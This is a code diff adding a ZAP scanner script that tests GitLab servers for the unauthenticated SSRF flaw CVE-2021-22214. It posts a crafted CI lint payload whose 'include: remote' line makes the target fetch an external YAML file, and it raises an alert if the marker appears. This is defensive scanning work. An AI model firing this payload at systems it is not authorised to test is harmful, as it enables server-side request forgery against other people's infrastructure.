|
| 1 | +/** |
| 2 | + * Contributed by Astra Security (https://www.getastra.com/) |
| 3 | + * @author Prince Mendiratta <prince.mendiratta@getastra.com> |
| 4 | + */ |
| 5 | + |
| 6 | +var pluginid = 100024; |
| 7 | + |
| 8 | +var HttpSender = Java.type("org.parosproxy.paros.network.HttpSender") |
| 9 | +var Model = Java.type("org.parosproxy.paros.model.Model") |
| 10 | +var HistoryReference = Java.type("org.parosproxy.paros.model.HistoryReference") |
| 11 | +var HttpHeader = Java.type("org.parosproxy.paros.network.HttpHeader") |
| 12 | +var Control = Java.type("org.parosproxy.paros.control.Control") |
| 13 | +var ExtensionAlert = Java.type("org.zaproxy.zap.extension.alert.ExtensionAlert") |
| 14 | +var session = Model.getSingleton().getSession(); |
| 15 | + |
| 16 | +// Print Statements using script name |
| 17 | +function logger() { |
| 18 | + print("[" + this["zap.script.name"] + "] " + arguments[0]); |
| 19 | +} |
| 20 | + |
| 21 | +/** |
| 22 | + * Unauthenticated GitLab SSRF - CI Lint API - CVE-2021-22214 |
| 23 | + * |
| 24 | + * A function which will be invoked against a specific "targeted" message. |
| 25 | + * |
| 26 | + * @param msg - the HTTP message being acted upon. This is an HttpMessage object. |
| 27 | + */ |
| 28 | +function invokeWith(msg) { |
| 29 | + |
| 30 | + var url = msg.getRequestHeader().getURI().toString(); |
| 31 | + var alertName = "Unauthorised SSRF on GitLab" |
| 32 | + var alertDesc = "[CVE-2021-22214]\nServer-side request forgery (SSRF) vulnerabilities let an attacker send crafted requests from " + |
| 33 | + "the back-end server of a vulnerable web application.\n" + |
| 34 | + "A server-side request forgery vulnerability in GitLab CE/EE affecting all versions starting from 10.5 was possible to exploit for an " + |
| 35 | + "unauthenticated attacker even on a GitLab instance where registration is limited.\n" + |
| 36 | + "By exploiting a Server Side Request Forgery vulnerability, attackers may be able to scan the local or external networks to which the " + |
| 37 | + "vulnerable server is connected to." |
| 38 | + var alertSol = "Upgrade to the latest version of GitLab." |
| 39 | + var alertReference = "https://nvd.nist.gov/vuln/detail/CVE-2021-22214" |
| 40 | + var cweId = 918; // Server-Side Request Forgery (SSRF) |
| 41 | + var wascId = 15; // Application Misconfiguration |
| 42 | + |
| 43 | + // To check if script is running |
| 44 | + logger("Testing Script against URL - " + url); |
| 45 | + |
| 46 | + var exploitResponse = sendReq(msg); |
| 47 | + var status = exploitResponse.getResponseHeader().getStatusCode(); |
| 48 | + var rebody = exploitResponse.getResponseBody().toString(); |
| 49 | + // The Content-Type Header |
| 50 | + // It would ALWAYS be in JSON for the GitLab Exploit |
| 51 | + var ctype = exploitResponse.getResponseHeader().getHeader("Content-Type"); |
| 52 | + |
| 53 | + // Checks to make sure that the response is by a GitLab Instance |
| 54 | + // on the server |
| 55 | + // A unique term in the demo YAML file which will be present in |
| 56 | + // the response body when the lint check succeeds |
| 57 | + if (status === 200 && ctype === "application/json" && rebody.contains("CI_PIPELINE_SOURCE")) { |
| 58 | + var alertAttack = exploitResponse.getRequestBody().toString(); |
| 59 | + var alertEvidence = "CI_PIPELINE_SOURCE"; |
| 60 | + var otherInfo = "Presence of a unique term, [CI_PIPELINE_SOURCE] was detected in the response, which is part of the payload." |
| 61 | + customAlert( |
| 62 | + pluginid, |
| 63 | + 3, // risk: 0: info, 1: low, 2: medium, 3: high |
| 64 | + 3, // confidence: 0: falsePositive, 1: low, 2: medium, 3: high, 4: confirmed |
| 65 | + alertName, |
| 66 | + alertDesc, |
| 67 | + alertAttack, |
| 68 | + alertEvidence, |
| 69 | + otherInfo, |
| 70 | + alertSol, |
| 71 | + alertReference, |
| 72 | + cweId, |
| 73 | + wascId, |
| 74 | + msg, |
| 75 | + url |
| 76 | + ); |
| 77 | + }; |
| 78 | + logger("Script run completed."); |
| 79 | +} |
| 80 | + |
| 81 | +/** |
| 82 | + * Send a custom HTTP Request by manipulating the HttpMessage Object. |
| 83 | + * |
| 84 | + * @param {Object.<HttpMessage>} msg - The HttpMessage Object being scanned |
| 85 | + * @return {Object.<HttpMessage>} - The HTTP Response |
| 86 | + */ |
| 87 | +function sendReq(msg) { |
| 88 | + var newReq = generateRequest(msg); |
| 89 | + var sender = new HttpSender(Model.getSingleton().getOptionsParam().getConnectionParam(), true, 6) |
| 90 | + sender.sendAndReceive(newReq); |
| 91 | + // Debugging |
| 92 | + // logger("Request Header -> " + newReq.getRequestHeader().toString()) |
| 93 | + // logger("Request Body -> " + newReq.getRequestBody().toString()) |
| 94 | + // logger("Response Header -> " + newReq.getResponseHeader().toString()) |
| 95 | + // logger("Raw Response Body -> " + newReq.getResponseBody().toString()) |
| 96 | + return newReq; |
| 97 | +} |
| 98 | + |
| 99 | +/** |
| 100 | + * |
| 101 | + * @param {Object.<HttpMessage>} msg - The HttpMessage Object being scanned |
| 102 | + * @returns {Object.<HttpMessage>} - The HttpMessage with modified Request Header |
| 103 | + */ |
| 104 | +function generateRequest(msg) { |
| 105 | + // The JSON Body Payload |
| 106 | + var obj = {"include_merged_yaml": true, "content": "include:\n remote: https://raw.githubusercontent.com/zaproxy/community-scripts/main/src/main/resources/org/zaproxy/zap/extension/communityScripts/resources/cve-2021-22214.yml"} |
| 107 | + var newReq = msg.cloneRequest(); |
| 108 | + newReq.getRequestHeader().setMethod('POST'); |
| 109 | + // The URL should be {{BaseURL}}/api/v4/ci/lint |
| 110 | + newReq.getRequestHeader().getURI().setPath('/api/v4/ci/lint'); |
| 111 | + newReq.setRequestBody(JSON.stringify(obj)); |
| 112 | + newReq.getRequestHeader().setHeader(HttpHeader.CONTENT_TYPE,"application/json"); |
| 113 | + newReq.getRequestHeader().setContentLength(newReq.getRequestBody().length()); |
| 114 | + |
| 115 | + return newReq; |
| 116 | +} |
| 117 | + |
| 118 | +/** |
| 119 | + * Raise an alert. |
| 120 | + * @see https://www.javadoc.io/doc/org.zaproxy/zap/latest/org/parosproxy/paros/core/scanner/Alert.html |
| 121 | + */ |
| 122 | +function customAlert(pluginid, alertRisk, alertConfidence, alertName, alertDesc, alertAttack, alertEvidence, otherInfo, alertSol, alertReference, cweId, wascId, msg, url) { |
| 123 | + var extensionAlert = Control.getSingleton().getExtensionLoader().getExtension(ExtensionAlert.NAME); |
| 124 | + var ref = new HistoryReference(session, HistoryReference.TYPE_ZAP_USER, msg); |
| 125 | + |
| 126 | + var alert = new org.parosproxy.paros.core.scanner.Alert(pluginid, alertRisk, alertConfidence, alertName); |
| 127 | + alert.setDescription(alertDesc); |
| 128 | + alert.setAttack(alertAttack); |
| 129 | + alert.setEvidence(alertEvidence); |
| 130 | + alert.setOtherInfo(otherInfo); |
| 131 | + alert.setSolution(alertSol); |
| 132 | + alert.setReference(alertReference); |
| 133 | + alert.setCweId(cweId); |
| 134 | + alert.setWascId(wascId); |
| 135 | + alert.setMessage(msg); |
| 136 | + alert.setUri(url); |
| 137 | + |
| 138 | + extensionAlert.alertFound(alert, ref); |
| 139 | +} |
0 commit comments